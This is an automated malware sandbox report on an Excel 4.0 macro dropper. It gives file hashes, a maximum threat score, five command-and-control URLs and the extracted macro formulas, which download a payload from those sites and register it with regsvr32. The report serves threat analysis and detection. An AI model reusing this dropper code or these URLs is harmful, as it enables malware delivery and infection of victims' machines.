General

  • Target

    00317f578a6a3ce135267bab132f4267fe7aa4b7bf602f461937ace5f10f5b21

  • Size

    90KB

  • Sample

    241120-3tznhazrhp

  • MD5

    f6a6144fe44058a77a07f3acdcb14365

  • SHA1

    d698c5ba03607569dc3d09ad3de298e1f2dc4d63

  • SHA256

    00317f578a6a3ce135267bab132f4267fe7aa4b7bf602f461937ace5f10f5b21

  • SHA512

    9b1fa897bd9a9815013e1082ac248300a55334d637a7d0d5a6ecc739b1687f5207437fcd605619fa417dd7ff680795edbc028d59889a547bbed923abe72dd6d3

  • SSDEEP

    1536:DQBrnXpnyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xXPd:qDpyVEoBo6hKb4llGsQjbxfd

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/

http://www.beholdpublications.com/home/BABxyyWZx8Vu/

http://explorationit.com/screwing/AxLm/

http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/

http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/","..\xxw1.ocx",0,0) =IF('EGFAGAGDGE'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.beholdpublications.com/home/BABxyyWZx8Vu/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://explorationit.com/screwing/AxLm/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/

Targets

    • Target

      00317f578a6a3ce135267bab132f4267fe7aa4b7bf602f461937ace5f10f5b21

    • Size

      90KB

    • MD5

      f6a6144fe44058a77a07f3acdcb14365

    • SHA1

      d698c5ba03607569dc3d09ad3de298e1f2dc4d63

    • SHA256

      00317f578a6a3ce135267bab132f4267fe7aa4b7bf602f461937ace5f10f5b21

    • SHA512

      9b1fa897bd9a9815013e1082ac248300a55334d637a7d0d5a6ecc739b1687f5207437fcd605619fa417dd7ff680795edbc028d59889a547bbed923abe72dd6d3

    • SSDEEP

      1536:DQBrnXpnyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xXPd:qDpyVEoBo6hKb4llGsQjbxfd

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks